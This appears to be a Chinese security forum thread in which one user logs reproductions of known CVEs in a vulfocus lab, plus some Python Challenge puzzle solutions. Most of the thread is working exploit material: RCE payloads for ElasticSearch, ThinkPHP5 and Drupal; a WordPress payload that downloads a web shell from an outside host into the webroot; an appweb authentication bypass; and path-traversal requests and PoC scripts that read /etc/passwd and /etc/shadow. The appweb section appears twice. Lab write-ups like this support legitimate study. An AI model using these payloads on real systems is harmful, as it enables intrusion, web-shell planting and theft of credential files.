POST /_search?pretty HTTP/1.1Host: 118.193.36.37:33967User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:76.0) Gecko/20100101 Firefox/76.0Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2Accept-Encoding: gzip, deflateConnection: closeUpgrade-Insecure-Requests: 1Cache-Control: max-age=0Content-Length: 361 {  "size": 1,  "query": {   "filtered": {    "query": {     "match_all": {     }    }   }  },  "script_fields": {    "command": {      "script": "import java.io.*;new java.util.Scanner(Runtime.getRuntime().exec(\"ls /tmp\").getInputStream()).useDelimiter(\"\\\\A\").next();"    }  }}

![img](file:///C:\Users\75986\AppData\Local\Temp\ksohtml\wps53C7.tmp.jpg)

点击go,在response中得到flag:flag-{bmh93c094ca-deac-4162-b8cf-834c2627c82c}

![img](file:///C:\Users\75986\AppData\Local\Temp\ksohtml\wps53C8.tmp.jpg)

### **ThinkPHP5 远程代码执行漏洞(CNVD-2018-24942)**

影响产品



上海顶想信息科技有限公司 ThinkPHP 5.*,<5.1.31



上海顶想信息科技有限公司 ThinkPHP <=5.0.23

打开这一关是这样的:

![img](file:///C:\Users\75986\AppData\Local\Temp\ksohtml\wps87AA.tmp.jpg)

根据网上的老师傅们给出的poc:

/index.php/?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=ls /tmp

(在地址栏后直接添加上述内容):

![img](file:///C:\Users\75986\AppData\Local\Temp\ksohtml\wps87AB.tmp.jpg)

回车后得到flag:flag-{bmha7584fd8-b5f6-40a6-8607-c2f99fd76fc6}



![img](file:///C:\Users\75986\AppData\Local\Temp\ksohtml\wps87AC.tmp.jpg)
回复

使用道具 举报

249

主题

299

帖子

1391

积分

金牌会员

Rank: 6Rank: 6

积分
1391
 楼主| 发表于 2021-10-19 22:23:58 | 显示全部楼层
今天就这样吧,在vulfocus中复现了几个cve:
ThinkPHP5 远程代码执行漏洞(CNVD-2018-24942)
ElasticSearch命令执行漏洞(CVE-2014-3120)
Ranger 远程代码执行漏洞(CVE-2018-11776)
Samba 远程命令执行(CVE-2017-7494)

回复

使用道具 举报

249

主题

299

帖子

1391

积分

金牌会员

Rank: 6Rank: 6

积分
1391
 楼主| 发表于 2021-10-20 22:11:17 | 显示全部楼层
今天只做了两个cve的复现(在复现过程中总是遇到一些奇奇怪怪的问题,然后做不出来)

## **WordPress远程命令执行(CVE-2016-10033)**

影响版本



WordPress <= 4.6

---

打开后是这样的:

![image-20211020212544762](C:\Users\75986\AppData\Roaming\Typora\typora-user-images\image-20211020212544762.png)

打开burpsuite,直接抓包:

![image-20211020212617161](C:\Users\75986\AppData\Roaming\Typora\typora-user-images\image-20211020212617161.png)

将其发送到repeater模块中,并修改数据包(添加poc):

> POST /wp-login.php?action=lostpassword HTTP/1.1
> Host: target(any -froot@localhost -be ${run{${substr{0}{1}{$spool_directory}}usr${substr{0}{1}{$spool_directory}}bin${substr{0}{1}{$spool_directory}}wget${substr{10}{1}{$tod_log}}--output-document${substr{10}{1}{$tod_log}}${substr{0}{1}{$spool_directory}}var${substr{0}{1}{$spool_directory}}www${substr{0}{1}{$spool_directory}}html${substr{0}{1}{$spool_directory}}shell.php${substr{10}{1}{$tod_log}}www.mzxh.xyz${substr{0}{1}{$spool_directory}}tools${substr{0}{1}{$spool_directory}}shell.php}} null)
> Connection: close
> User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.12; rv:53.0) Gecko/20100101 Firefox/53.0
> Accept: */*
> Content-Length: 56
> Content-Type: application/x-www-form-urlencoded
>
> wp-submit=Get+New+Password&redirect_to=&user_login=admin

![image-20211020213801697](C:\Users\75986\AppData\Roaming\Typora\typora-user-images\image-20211020213801697.png)

点击go,在response中得到如下信息:

![image-20211020213823339](C:\Users\75986\AppData\Roaming\Typora\typora-user-images\image-20211020213823339.png)

访问目标的shell,但是发现什么也没有,但是可以进去这个网页:

![image-20211020215123005](C:\Users\75986\AppData\Roaming\Typora\typora-user-images\image-20211020215123005.png)

## **Drupal 远程代码执行漏洞(CVE-2018-7600)**

漏洞影响范围:

截止2018年3月29日,还未有公开PoC

Drupal 6.x版本



Drupal 7.x版本



Drupal 8.x版本

---



打开后是这样的:

![image-20211020211637538](C:\Users\75986\AppData\Roaming\Typora\typora-user-images\image-20211020211637538.png)打开burpsuite,刷新页面后,得到数据包如下:

![image-20211020211700839](C:\Users\75986\AppData\Roaming\Typora\typora-user-images\image-20211020211700839.png)

将数据包发送到repeater模块中,将数据包修改为:

> POST /user/register?element_parents=account/mail/%23value&ajax_form=1&_wrapper_format=drupal_ajax HTTP/1.1
> Host: 118.193.36.37:59523
> User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0
> Accept: application/json, text/javascript, */*; q=0.01
> Accept-Language: en-US,en;q=0.5
> Accept-Encoding: gzip, deflate
> Referer: http://118.193.36.37:59523/user/register
> X-Requested-With: XMLHttpRequest
> Content-Type: multipart/form-data; boundary=---------------------------99533888113153068481322586663
> Content-Length: 624
> Connection: close
>
> -----------------------------99533888113153068481322586663
> Content-Disposition: form-data; name="mail[#post_render][]"
>
> passthru
> -----------------------------99533888113153068481322586663
> Content-Disposition: form-data; name="mail[#type]"
>
> markup
> -----------------------------99533888113153068481322586663
> Content-Disposition: form-data; name="mail[#markup]"
>
> ls -l /tmp
> -----------------------------99533888113153068481322586663
> Content-Disposition: form-data; name="form_id"
>
> user_register_form
> -----------------------------99533888113153068481322586663
> Content-Disposition: form-data; name="_drupal_ajax"

点击go,在response中得到flag:

> flag-{bmhc985a318-a8f3-4316-b250-0d9fb463f690}

![image-20211020211755272](C:\Users\75986\AppData\Roaming\Typora\typora-user-images\image-20211020211755272.png)
回复

使用道具 举报

249

主题

299

帖子

1391

积分

金牌会员

Rank: 6Rank: 6

积分
1391
 楼主| 发表于 2021-10-22 20:48:18 | 显示全部楼层
今天写了几个Python challenge的题目试了试:
# 第零关

打开之后是这样的:

![image-20211021101519638](C:\Users\75986\AppData\Roaming\Typora\typora-user-images\image-20211021101519638.png)

看网上的教程的意思是:中间的那个是题目,然后需要把答案写在URL上,即将0修改为2的38次方:

> 274877906944

即可进入下一关

# 第一关

![image-20211021102122445](C:\Users\75986\AppData\Roaming\Typora\typora-user-images\image-20211021102122445.png)

看着图片的意思,有点凯撒密码的意思,经过推算之后发现KOE都对应这他们后面两个的字母MQG

于是编写凯撒密码的代码:

```Python
import string
text="g fmnc wms bgblr rpylqjyrc gr zw fylb. rfyrq ufyr amknsrcpq ypc dmp. bmgle gr gl zw fylb gq glcddgagclr ylb rfyr'q ufw rfgq rcvr gq qm jmle. sqgle qrpgle.kyicrpylq() gq pcamkkclbcb. lmu ynnjw ml rfc spj. "
text=list(text)#得到字符串的长度
for i in range(len(text)):#循环text的长度次
    if text.isalpha():#isalpha()判断该字符是否为字母
        text=chr(ord(text)+2)# ord()函数可以返回字母的ASCII值
        if ord(text)==123:
            text='a'
        if ord(text)==124:
            text='b'#两个if是为了防止最后的两个字母yz的ASCII值+2后溢出,成为别的字符

print(''.join(text))//join()函数表示用.join()之前的字符连接join函数()内的字符串序列
```

> Python的注释符号为#(单行注释),或者两端用三个单引号包括(多行注释)



运行后的结果为:

> i hope you didnt translate it by hand. thats what computers are for. doing it in by hand is inefficient and that's why this text is so long. using string.maketrans() is recommended. now apply on the url.

于是将text的字符串修改为这一题的URL中的参数:map

运行后得到:ocr



# 第二关

打开后是这样的:

![image-20211021104020837](C:\Users\75986\AppData\Roaming\Typora\typora-user-images\image-20211021104020837.png)

根据提示:

> recognize the characters. maybe they are in the book,
> but MAYBE they  are in the page source.

于是查看这一关的源代码,发现其中有很多的特殊字符:

![image-20211021104212542](C:\Users\75986\AppData\Roaming\Typora\typora-user-images\image-20211021104212542.png)

根据其中的提示:

> find rare characters in the mess below:

于是我们知道了这是需要寻找里面的出现最少的字符

代码如下:

```Python
from collections import Counter#引用collections模块中的counter类(Counter是一个简单的计数器,例如,统计字符出现的个数。)

s="""乱码"""
c=Counter(s)#对字符串s中的所有字符进行计数
print(c.most_common)#打印出计数的结果
print("".join([i[0] for i in c.items() if i[1]==1]))#将所有出现的次数为一次的字符连接起来并打印出来
```

运行结果如下:

> <bound method Counter.most_common of Counter({')': 6186, '@': 6157, '(': 6154, ']': 6152, '#': 6115, '_': 6112, '[': 6108, '}': 6105, '%': 6104, '!': 6079, '+': 6066, '$': 6046, '{': 6046, '&': 6043, '*': 6034, '^': 6030, '\n': 1219, 'e': 1, 'q': 1, 'u': 1, 'a': 1, 'l': 1, 'i': 1, 't': 1, 'y': 1})>
> equality



# 第三关

打开是这样的:

<img src="C:\Users\75986\AppData\Roaming\Typora\typora-user-images\image-20211021110059021.png" alt="image-20211021110059021" style="zoom:200%;" />

根据提示:

> One small letter, surrounded by **EXACTLY** three big bodyguards on  each of its sides.

需要寻找在页面中两边有三个大写字母包围的小写字母

根据上一关的提示,猜测字符串还是在源码中:

![image-20211021110512281](C:\Users\75986\AppData\Roaming\Typora\typora-user-images\image-20211021110512281.png)

由于这个页面信息中的title是re,于是是用re库来操作:

![image-20211021110627285](C:\Users\75986\AppData\Roaming\Typora\typora-user-images\image-20211021110627285.png)

代码如下:

```Python
import re#引用re库,re库主要是用于做正则匹配的
s="""长字符串"""
r=re.compile('[a-z][A-Z]{3}[a-z][A-Z]{3}[a-z]')#由于题意是在三个大写字母中间的小写字母,因此需要在三个大写字母的前后有小写字母,[A-Z]{3}表示三个大写字母,默认为一个
print(' '.join(r.findall(s)))
result=r.findall(s)#r.findall()意为正则匹配括号内的内容,r为匹配条件
a=''
for res in result:
    a=a+res[4]#因为每个目标的小写字母都被三个大写字母包围,并且大写字母的前后也有分别有一个小写字母,所以需要去除第五个字符(即目标字符)
print(a)
```

得到的结果如下:

> qIQNlQSLi eOEKiVEYj aZADnMCZq bZUTkLYNg uCNDeHSBj kOIXdKBFh dXJVlGZVm gZAGiLQZx vCJAsACFl qKWGtIDCj
> linkedlist

访问linkedlist后,得到linkedlist.php

于是访问http://www.pythonchallenge.com/pc/def/linkedlist.php

进入到下一关


回复

使用道具 举报

249

主题

299

帖子

1391

积分

金牌会员

Rank: 6Rank: 6

积分
1391
 楼主| 发表于 2021-10-24 21:16:05 | 显示全部楼层
昨天出去回来忘了发了,连着昨天的一起发了吧:
## appweb 认证绕过 (cve-2018-8715)

打开后是这样的:

![image-20211024200723656](C:\Users\75986\AppData\Roaming\Typora\typora-user-images\image-20211024200723656.png)

随便输入一个用户名和密码,打开burpsuite抓包:

![image-20211024201024595](C:\Users\75986\AppData\Roaming\Typora\typora-user-images\image-20211024201024595.png)

将数据包发送到repeater模块中,并将数据包的内容修改为如下内容:

> GET / HTTP/1.1
> Host: 118.193.36.37:41708
> Accept-Encoding: gzip, deflate
> Accept: */*
> Accept-Language: en
> User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
> Connection: close
> Authorization: Digest username=admin

![image-20211024201138319](C:\Users\75986\AppData\Roaming\Typora\typora-user-images\image-20211024201138319.png)

点击go,在response中得到session:

> Set-Cookie: -http-session-=1::http.session::77ae5fb75cacae887480f1bc53726d79

![image-20211024201440965](C:\Users\75986\AppData\Roaming\Typora\typora-user-images\image-20211024201440965.png)

重新抓包,并修改数据包内容如下:

> POST / HTTP/1.1
> Host: 118.193.36.37:35391
> User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:93.0) Gecko/20100101 Firefox/93.0
> Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
> Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
> Accept-Encoding: gzip, deflate
> Connection: close -http-session-=1::http.session::77ae5fb75cacae887480f1bc53726d79
> Upgrade-Insecure-Requests: 1
> Authorization: Digest username=admin
> Content-Type: application/x-www-form-urlencoded
> Content-Length: 14
>
> username=admin

得到如下页面:

![image-20211024202713467](C:\Users\75986\AppData\Roaming\Typora\typora-user-images\image-20211024202713467.png)

这大概是已经进入了管理员才能进入的页面

但是还是没有找到flag。。。。。

## ElasticSearch目录遍历 (CVE-2015-5531)

影响版本:

1.6.1以前

---



打开后是这样的:

![image-20211023093922638](C:\Users\75986\AppData\Roaming\Typora\typora-user-images\image-20211023093922638.png)

打开burpsuite抓包:
![image-20211023093946645](C:\Users\75986\AppData\Roaming\Typora\typora-user-images\image-20211023093946645.png)

将数据包中的内容修改如下:

> ![image-20211023094018986](C:\Users\75986\AppData\Roaming\Typora\typora-user-images\image-20211023094018986.png)

点击forward后返回如下信息:

![image-20211023094108213](C:\Users\75986\AppData\Roaming\Typora\typora-user-images\image-20211023094108213.png)

继续刷新页面抓包:

![image-20211023094125926](C:\Users\75986\AppData\Roaming\Typora\typora-user-images\image-20211023094125926.png)

将数据包修改为如下内容:

> PUT /_snapshot/test2 HTTP/1.1
> Host: 118.193.36.37:24018
> Accept: */*
> Accept-Language: en
> User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
> Connection: close
> Content-Type: application/x-www-form-urlencoded
> Content-Length: 108
>
> {
>  "type": "fs",
>  "settings": {
>      "location": "/usr/share/elasticsearch/repo/test/snapshot-backdata"
>  }
> }

![image-20211023094216779](C:\Users\75986\AppData\Roaming\Typora\typora-user-images\image-20211023094216779.png)

点击forward后,在URL后面加上:

> /_snapshot/test/backdata%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fetc%2fpasswd

回车后得到如下信息(ASCII值):



![image-20211023093832967](C:\Users\75986\AppData\Roaming\Typora\typora-user-images\image-20211023093832967.png)

我们知道上述信息为ASCII值,于是我们用浏览器自带的console来解码:

![image-20211023094638431](C:\Users\75986\AppData\Roaming\Typora\typora-user-images\image-20211023094638431.png)

解码后得到如下信息:



![image-20211023093800737](C:\Users\75986\AppData\Roaming\Typora\typora-user-images\image-20211023093800737.png)

也可以选择用Python脚本:

```Python
#!/usr/bin/env python
# -*- coding:utf8 -*-

"""
PoC for CVE-2015-5531
Affects ElasticSearch 1.6.0 and prior
"""
import re
import sys
import json
import requests
import urllib
import argparse
import traceback
import termcolor
def colorize_red(string):
     """
    :param string:
    :return
    """
    return termcolor.colored(string,  'red')
def colorize_green(string):
     """
    :param string:
    :return:
    """
    return termcolor.colored(string,  'green')
def create_repos(base_url):
     """
    :param base_url:
    :return: None
    """
    for index, repo_name in enumerate(REPO_NAME_LST):

        url =  "{0}{1}".format(base_url, repo_name)
        req = requests.post(url, json=DATA_REPO_LST[index])

        if “acknowledged” in req.json():
            print colorize_green(“repository {0}: create success”.format(repo_name))
def  grab_file(vuln_url) :
    “” "
    :param xplurl:
    :return:
    “”"

    req = requests.get(vuln_url)
    if req.status_code ==  400:
        data = req.json()
        extrdata = re.findall(r’\d+’, str(data[ 'error']))
        decoder = bytearray()
        for i in extrdata[ 2:]:
            decoder.append(int(i))
        print colorize_green(decoder)
def  exploit(**args) :
    “” "
    :param args:
    :return:
    “”"
    target = args[ 'target']
    port = args[ 'port']
    fpath = args[ 'fpath'].split(‘,’)
    fpath = [urllib.quote(fp, safe='') for fp in fpath]
    base_url = “ http://{0}:{1}/_snapshot/”.format(target, port)
    #create elasticsearch repository for snapshot
    create_repos(base_url)
    #grab files
    for fp in  fpath:
        vuln_url = ‘{0}{1}/{2}{3}’.format(base_url, REPO_NAME_LST[0], FCK, fp)
        print colorize_red(urllib.unquote(fp)) + “:\n”
        grab_file(vuln_url)
if __name__ == “__main__”:
    # for global
    FCK = ‘backdata%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..’
    REPO_NAME_LST = ['test11', 'test12']

   DATA_REPO_LST = [{"type": "fs", "settings": {"location":
"/tmp/test30"}}, {"type": "fs", "settings": {"location":
"/tmp/test30/snapshot-backdata"}}]
    parser = argparse.ArgumentParser(usage=”python cve-2015-5531.py options”,
                                     description=”cve-2015-5531 Vuln PoC”, add_help=True)
    parser.add_argument(‘-t’, ‘–target’, metavar=’TARGET’, type=str, dest=”target”, required=True, help=’eg: 127.0.0.1 or www.baidu.com’)

   parser.add_argument(‘-p’, ‘–port’, metavar=’PORT’, dest=’port’,
type=int, default=9200, help=’elasticsearch port default 9200′)

parser.add_argument(‘–fpath’, metavar=’FPATH’, dest=’fpath’, type=str,
default=’/etc/passwd,/etc/shadow’        , help=’file to grab multi files
separated by comma ‘)
    args = parser.parse_args()
    try:
        exploit(**args.__dict__)
    except:
        traceback.print_exc()
```



## Apache Flink目录遍历(CVE-2020-17519)

影响版本:

Apache Flink 1.5.1 ~ 1.11.2

---



打开后是这样的:

![image-20211023163956841](C:\Users\75986\AppData\Roaming\Typora\typora-user-images\image-20211023163956841.png)



直接在URL后面加上poc:

> /jobmanager/logs/..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252fetc%252fpasswd

得到如下信息:

> root:x:0:0:root:/root:/bin/bash
> daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
> bin:x:2:2:bin:/bin:/usr/sbin/nologin
> sys:x:3:3:sys:/dev:/usr/sbin/nologin
> sync:x:4:65534:sync:/bin:/bin/sync
> games:x:5:60:games:/usr/games:/usr/sbin/nologin
> man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
> lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
> mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
> news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
> uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
> proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
> www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
> backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
> list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
> irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
> gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
> nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
> _apt:x:100:65534::/nonexistent:/usr/sbin/nologin
> flink:x:9999:9999::/opt/flink:/bin/sh

![image-20211023164142616](C:\Users\75986\AppData\Roaming\Typora\typora-user-images\image-20211023164142616.png)

也可以用Python脚本:

```Python
import argparse
import requests
global headers
headers={'cookie': 'UM_distinctid=17333bd886662-037f6fda493dae-4c302372-100200-17333bd8867b; CNZZDATA1278305074=612386535-1594299183-null%7C1594299183; PHPSESSID=drh67vlau4chdn44eadh0m16a0',
            'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:78.0) Gecko/20100101 Firefox/78.0'}
class Apache_Flink():
        def url(self):
                parser = argparse.ArgumentParser(description='Apache Flink(CVE-2020-17519)路径遍历漏洞检测POC')
                parser.add_argument('target_url',type=str,help='The target address,example: http://192.168.140.153:8090')
                args = parser.parse_args()
                global target_url
                target_url = args.target_url
                print("Apache Flink(CVE-2020-17519)路径遍历漏洞检测POC!!")
                print("正在执行检测...")
                print("目标地址:",target_url)
                return target_url
        def check(self):
                poc = r"/jobmanager/logs/..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252fetc%252fpasswd"
                url = target_url + poc
                try:
                        re = requests.get(url,headers=headers,timeout=4)
                        if re.status_code==200 and "root:x" in re.text:
                                print('漏洞存在')
                        else:
                                print('漏洞不存在')
                except:
                        print('访问异常')

if __name__ == '__main__':
        flink = Apache_Flink()
        flink.url()
        flink.check()
```

##

## Spring 目录遍历 (CVE-2020-5410 )

打开后是这样的:

![image-20211024100637447](C:\Users\75986\AppData\Roaming\Typora\typora-user-images\image-20211024100637447.png)

直接在URL后面加上poc:

> /..%252F..%252F..%252F..%252F..%252F..%252F..%252F..%252F..%252F..%252F..%252Ftmp%23foo/development

回车后,得到如下信息:

![image-20211024100727843](C:\Users\75986\AppData\Roaming\Typora\typora-user-images\image-20211024100727843.png)

发现flag就在里面:

![image-20211024100752602](C:\Users\75986\AppData\Roaming\Typora\typora-user-images\image-20211024100752602.png)

> flag-{bmhff2942dd-51ff-44b5-a95e-ec0853412d3b}

## thinkadmin 目录遍历 (CVE-2020-25540)

打开后是这样的:
![image-20211024104633935](C:\Users\75986\AppData\Roaming\Typora\typora-user-images\image-20211024104633935.png)

(又是一个我以为是错误的页面)

在URL中添加?s=admin/api.Update/node

然后用post方式传送:rules=["/"]

方法如下:

![image-20211024104457009](C:\Users\75986\AppData\Roaming\Typora\typora-user-images\image-20211024104457009.png)

点击execute后得到如下界面(目录以及hash值):

> {"code":1,"info":"获取文件列表成功!","data":{"rules":["\/"],"ignore":[],"list":[{"name":"\/1.txt","hash":"746c27dcbbf428d7e1e2f1e01d1c839c"},{"name":"\/admin_v6.sql","hash":"a6add0e2aab0e7d45f1ef35ad7846c52"},{"name":"admin\/controller\/Auth.php","hash":"e06dd9f96d529532f6d5dbcf1f0d945c"},{"name":"admin\/controller\/Config.php","hash":"0cbe8fe43bd378360722bc29d0b8f90f"},{"name":"admin\/controller\/Index.php","hash":"da3736920e43b33e18e0ba72407c8588"},
........
(太多了,放一部分)
> {"name":"\/vendor\/zoujingli\/wechat-developer\/_test\/wechat-menu-get.php","hash":"d51c51fb5705a88e34147c2f3ee1be48"},{"name":"\/vendor\/zoujingli\/wechat-developer\/_test\/wechat-qrcode-create.php","hash":"e38b41c8a4f83894ae907a69854794b0"},{"name":"\/vendor\/zoujingli\/wechat-developer\/_test\/wechat-user-get.php","hash":"290875304dc11598a6f9e9ef8f98979a"},{"name":"\/vendor\/zoujingli\/wechat-developer\/composer.json","hash":"7db3f4ea9c17c21174c665b22992e97a"},{"name":"\/vendor\/zoujingli\/wechat-developer\/include.php","hash":"1434ae58cf94166d7097fe29ba0d42da"},{"name":"\/vendor\/zoujingli\/wechat-developer\/readme.md","hash":"5dc2765147e9aff90a838578a1dd8083"}]}}

![image-20211024104839677](C:\Users\75986\AppData\Roaming\Typora\typora-user-images\image-20211024104839677.png)

但是并没有找到flag


## appweb 认证绕过 (cve-2018-8715)

打开后是这样的:

![image-20211024200723656](C:\Users\75986\AppData\Roaming\Typora\typora-user-images\image-20211024200723656.png)

随便输入一个用户名和密码,打开burpsuite抓包:

![image-20211024201024595](C:\Users\75986\AppData\Roaming\Typora\typora-user-images\image-20211024201024595.png)

将数据包发送到repeater模块中,并将数据包的内容修改为如下内容:

> GET / HTTP/1.1
> Host: 118.193.36.37:41708
> Accept-Encoding: gzip, deflate
> Accept: */*
> Accept-Language: en
> User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
> Connection: close
> Authorization: Digest username=admin

![image-20211024201138319](C:\Users\75986\AppData\Roaming\Typora\typora-user-images\image-20211024201138319.png)

点击go,在response中得到session:

> Set-Cookie: -http-session-=1::http.session::77ae5fb75cacae887480f1bc53726d79

![image-20211024201440965](C:\Users\75986\AppData\Roaming\Typora\typora-user-images\image-20211024201440965.png)

重新抓包,并修改数据包内容如下:

> POST / HTTP/1.1
> Host: 118.193.36.37:35391
> User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:93.0) Gecko/20100101 Firefox/93.0
> Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
> Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
> Accept-Encoding: gzip, deflate
> Connection: close -http-session-=1::http.session::77ae5fb75cacae887480f1bc53726d79
> Upgrade-Insecure-Requests: 1
> Authorization: Digest username=admin
> Content-Type: application/x-www-form-urlencoded
> Content-Length: 14
>
> username=admin

得到如下页面:

![image-20211024202713467](C:\Users\75986\AppData\Roaming\Typora\typora-user-images\image-20211024202713467.png)

这大概是已经进入了管理员才能进入的页面

但是还是没有找到flag。。。。。
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

小黑屋|安全矩阵

GMT+8, 2024-11-27 23:48 , Processed in 0.020684 second(s), 16 queries .

Powered by Discuz! X4.0

Copyright © 2001-2020, Tencent Cloud.

快速回复 返回顶部 返回列表